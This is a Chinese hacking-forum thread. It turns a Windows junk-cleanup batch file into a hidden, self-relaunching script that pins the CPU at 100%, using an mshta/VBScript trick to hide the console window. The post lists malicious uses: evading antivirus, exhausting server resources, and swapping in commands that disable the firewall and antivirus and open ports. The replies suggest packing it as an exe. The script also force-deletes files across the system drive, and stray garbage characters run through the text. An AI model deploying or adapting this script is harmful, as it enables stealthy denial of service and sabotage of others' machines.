返回列表 发帖

【原创】再谈垃圾清除的批处理和其流氓运用!

大家经常会看到这个垃圾清除的的BAT程序,也就是很多人所说的30秒清除所有的系统他及程序    说实话这个批处理效果确实不错 ,速度快而且不重不漏!系统这下减了不少肥。不过我觉得这个BAT还是有点不很完善,要是能够自动检测系统中的垃圾文件并且删除那该多好啊!
, k8 u* ^( L8 k- z# fa.bat源代码如下:
4 r5 B! I5 O& ^6 H
4 `2 g# y4 G2 q: [* Q$ n/ E
; D) g7 d9 i; |! g% z===可以直接保存改名a.bat=====================
6 y- S; P& a- X; b4 e2 d8 H- }@echo off
5 s! _% V4 i* P8 X! s, _1 Uecho 正在清除系统垃圾文件,请稍等...... ( y# g, b3 ^. m; P7 Q5 @9 q
@del /f /s /q %systemdrive%\*.tmp
) }: p4 I' w% j0 d3 q6 C3 B@del /f /s /q %systemdrive%\*._mp
7 Q$ X) a" }; s0 p4 z@del /f /s /q %systemdrive%\*.log
. m) u# t; p2 D/ {! `7 P: H@del /f /s /q %systemdrive%\*.gid
% k3 Q0 X: r+ M# t4 L@del /f /s /q %systemdrive%\*.chk
2 d1 w2 @7 W' [8 h@del /f /s /q %systemdrive%\*.old * |& p: d) k6 O: d: Z  |
@del /f /s /q %systemdrive%\recycled\*.* : K! ~0 C% Z9 ?1 k) Q+ x
@del /f /s /q %windir%\*.bak
- Y% x% h' r/ F+ J6 d@del /f /s /q %windir%\prefetch\*.*
0 z0 I+ L( Z% p! u' [@rd /s /q %windir%\temp & md %windir%\temp - l& ]4 `( R, y' a" |
@del /f /q %userprofile%\cookies\*.* , w  o. k# v4 x( k; W+ B# t" V
@del /f /q %userprofile%\recent\*.*
- Y  s( k9 c7 |" B: V4 C/ k2 z@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
4 D! n9 U6 y# O  L$ n; V' l$ m1 b6 O5 J@del /f /s /q "%userprofile%\Local Settings\Temp\*.*" 8 d: ?* W& i% P. Z3 J
@del /f /s /q "%userprofile%\recent\*.*"
$ ?; s4 h6 w+ x0 i5 K8 G, Cecho 清除系统LJ完成!

! j, Z( S& I6 O: D其实简单的一句话便实现了那个功能,在“echo 清除系统LJ完成!”后面加上一句 “call a.bat”就OK了,命令的意思大家都懂,我就不做解释了!我运行了一下,到是能够自动检测和删除了,而且关掉对话框也简单,直接关闭就行了!但是如果 被当作入侵工具却又点太暴露,并且那个DOS框始终不能隐藏,很容易被发现.这该怎么办?想想批处理里面的命令,貌似没见到有隐藏对话框的用法(如果有请告诉指教一下!我的QQ:118122875),于是到网上找了一下,决定用VBS代码实现,于是又加上了下面的代码,其实也很简单,也就加了一句话进去:5 ~4 B& H) J5 @: Q3 c: q2 {# J7 D# h
, t3 g0 z; Q+ W; S
===可以直接保存改名为a.bat(一定要是a.bat哦具体说明原因你应该明白吧======
+ B7 E5 b* ^$ D9 q7 n6 J* a
@echo off5 q/ k3 y0 l$ |" ^
if "%1" == "h" goto begin+ ~; N- `# l% y* H! u" q
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit- a- t+ \1 Z0 a, l
:begin
& Q( Y1 |9 [: J7 Oecho 正在清除系统垃圾文件,请稍等...... * k  z- Y9 s- z  G7 f5 V5 u
@@del /f /s /q %systemdrive%\*.tmp
/ ?( _, t' Z3 M+ F* V( ^% w# y@del /f /s /q %systemdrive%\*._mp
+ \" D3 h! S9 T6 t  M@del /f /s /q %systemdrive%\*.log + R* T3 e. v* u( q* N6 a7 T
@del /f /s /q %systemdrive%\*.gid 9 v0 }6 \, y! q3 g6 o  D
@del /f /s /q %systemdrive%\*.chk   B# i# o5 x# D3 A6 f) \8 ]: X
@del /f /s /q %systemdrive%\*.old ( P/ l0 U. D) u2 |2 j
@del /f /s /q %systemdrive%\recycled\*.*
% c! r9 `( b; o( d1 y@del /f /s /q %windir%\*.bak ; I% @; ~  q1 H( J- }- i# r/ W& K7 P" ~
@del /f /s /q %windir%\prefetch\*.* ; {1 }+ ~: [+ X/ `+ T% i
@rd /s /q %windir%\temp & md %windir%\temp - f' q4 ]* I0 g  q, j* ~
@del /f /q %userprofile%\cookies\*.* 9 ^' V/ H' s. w- C- x: ]$ B
@del /f /q %userprofile%\recent\*.*
: a' |7 S! Z  Q0 ]$ p@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" ( L- Y0 S) i! T% P
@del /f /s /q "%userprofile%\Local Settings\Temp\*.*" ; a, V! @) Z& G7 v
@del /f /s /q "%userprofile%\recent\*.*" / K' S7 ^0 U# M$ F) c
echo 清除系统LJ完成!
, j# M6 Q* S4 I2 Y( ~* B% s* k* {call a.bat

, \6 I! T' ~) g2 P% u$ P运行看看!什么效果?
# [- @; L& }3 g, ^$ @2 y对话框消失了!打开任务管理器查看显示CPU运用:100%    看进程里面cmd.exe占用CPU:99     本来想删除这个进程,但是哪晓得点右键准备去删除那个cmd.exe,没有想到不见了,然后仔细一看,其实cmd.exe没有不见,但是已经PID不一样了,也就表示一个循环已经进行完毕,还没等你来的结束进程就已经进入下一个循环,这时候有的朋友会想可以用taskkill命令来删除进程,但是PID几乎是每2秒换一次,你的速度有那么快?!目前我还没找到解决的办法(高手请指教),无赖只好重新启动...哎!其实这都是雕虫小技,只不过是最基础的东西,但是有的时候最简单的也是最要命的!/ V1 p7 ^% l; F1 b2 r, s5 V+ \" D

- s3 h* ]' R6 l& ]6 V, O1 u你说,我们可以利用这个BAT做些什么:
- B. m* l. C: `
+ G$ L5 B. T1 E! l* \5 l% j1.因为bat文件可以躲过杀软!这样利用它的无限循环启动一些你自己的程序,当然咯,重复的循环安装时没有必要的,我只是打个比方,你可以自己改动代码达到自己的目的!- b$ {, }! c* B3 z
2.它循环使用消耗资源,如果这样的程序多弄几个,全部启动.你说服务器会怎么样?
; ^5 M$ ^" ~: v9 i" V3.如果我把里面的删除垃圾文件的代码换成关闭防护墙/杀毒和开系统端口和服务的代码,那不是更好?当然这些应用都是我个人的一些分析,没有真正的实验过,我想一个可以成功的通过~不过,这个小东西还有个美中不足,cmd.exe在进程里面看得到,至于怎么隐藏,那就请各位高手指教了,在下刚刚接触批处理,莱鸟一个,有什么不对的地方和我联系啊!我的QQ:118122875 平湖秋月
1

评分人数

想法非常不错

TOP

打个岔,流氓的应用,呵呵
希望做站长本人的学生请点击
http://www.3ast.com/viewthread.php?tid=13841
QQ790653916只负责SEO以及收费教学等方面联系,他人勿扰

于智者同行,你会不同凡响;与高人为伍,你会登上巅峰

TOP

现在来正经的回答下问题:# ~" P+ w) K* x
1、在bat下隐藏对话框,可以使用一个参数的,但是我记不得了
  q' P2 O4 T  a9 b/ w. q9 ~) n; x4 _; R5 r/ Y
2、可以将bat转换成exe格式的文件啊,使用bat2exe,下次我找到了就发出来哈
希望做站长本人的学生请点击
http://www.3ast.com/viewthread.php?tid=13841
QQ790653916只负责SEO以及收费教学等方面联系,他人勿扰

于智者同行,你会不同凡响;与高人为伍,你会登上巅峰

TOP

其实这个批处理还有一个问题,就是把log文件一律也作为垃圾处理了~~~
4 c: Y$ W! Z% @部分软件卸载是需要log文件的,删除了它,就会造成软件无法正常卸载,或者卸载不干净。因此,log文件并不是垃圾,不同软件计录的log文件有着不同的作用,有的甚至是非常重要的,不是可以随便删除的,例如:一张CD碟片就有一个log日志文件,它主要记录EAC对CD抓轨的各项参数。

TOP

楼上的你们说的都有道理 理论上是成立的 我有时间试试看

TOP

返回列表